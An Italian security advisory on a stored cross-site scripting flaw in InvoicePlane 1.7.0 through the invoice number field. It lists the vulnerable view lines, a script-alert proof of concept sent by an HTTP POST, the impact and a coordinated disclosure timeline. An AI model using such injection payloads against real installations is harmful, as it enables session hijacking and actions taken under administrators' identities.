
Vulnerabilità XSS persistente in InvoicePlane 1.7.0 tramite il campo non sanificato del numero fattura, con proof-of-concept e dettagli di remediation.
Vulnerabilità: Cross-Site Scripting (XSS) persistente tramite il campo Numero Fattura
Prodotto: InvoicePlane
Versione interessata: 1.7.0 (e probabilmente versioni precedenti)
Gravità: Media
Punteggio CVSS 3.1: 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79: Neutralizzazione impropria dell'input durante la generazione di pagine web
Scoperta da: Leonidas Agathos
Data del report: 2026-01-31
Il campo invoice_number nel modulo fattura accetta input arbitrario senza sanificazione. Il valore viene memorizzato e renderizzato senza codifica in più posizioni: il titolo della pagina di visualizzazione fattura, il campo di input del numero fattura e il widget delle fatture recenti nella dashboard. Il payload si attiva ogni volta che un amministratore visualizza la fattura interessata o accede alla dashboard.
File vulnerabili:
application/modules/invoices/views/view.php:247application/modules/invoices/views/view.php:494application/modules/dashboard/views/index.php:233// view.php - Riga 247
<?php echo trans('invoice') . ' ' . ($invoice->invoice_number ? '#' .
$invoice->invoice_number : trans('id') . ': ' . $invoice->invoice_id); ?>
// view.php - Riga 494
value="<?php echo $invoice->invoice_number; ?>"
// dashboard/index.php - Riga 233
<?php echo anchor('invoices/view/' . $invoice->invoice_id, ($invoice->invoice_number
? $invoice->invoice_number : $invoice->invoice_id)); ?>
Passo 1 — Iniettare il payload nel Numero Fattura
Crea o modifica una fattura su /index.php/invoices/form/{id} e imposta il numero fattura su:
<script>alert("XSS in Invoices")</script>
Richiesta:
POST /index.php/invoices/ajax/save HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
invoice_number=<script>alert("XSS+in+Invoices")</script>&invoice_id=22&...

Passo 2 — Attivare l'XSS
Naviga su /index.php/invoices/view/{id} o /index.php/dashboard. Il payload si attiva al caricamento della pagina.

Il payload viene eseguito nel browser di qualsiasi amministratore che visualizzi la fattura interessata o acceda alla dashboard. Ciò consente il dirottamento della sessione (se i cookie non sono HttpOnly), il furto dei token CSRF e azioni eseguite sotto l'identità della vittima.
| Data | Evento |
|---|---|
| 2026-01-30 | Vulnerabilità scoperta |
| 2026-01-31 | Prova di concetto sviluppata |
| 2026-01-31 | Fornitore notificato |
| 2026-02-04 | Riconoscimento del fornitore |
| 2026-02-04 | Patch rilasciata |
| 2026-02-05 | Divulgazione pubblica |
Questa vulnerabilità è stata scoperta durante una ricerca di sicurezza indipendente. Tutte le informazioni sono fornite esclusivamente a scopo educativo, di ricerca e difensivo per assistere il fornitore e la comunità della sicurezza nella comprensione e nella risoluzione del problema. Qualsiasi uso dannoso di queste informazioni è severamente vietato.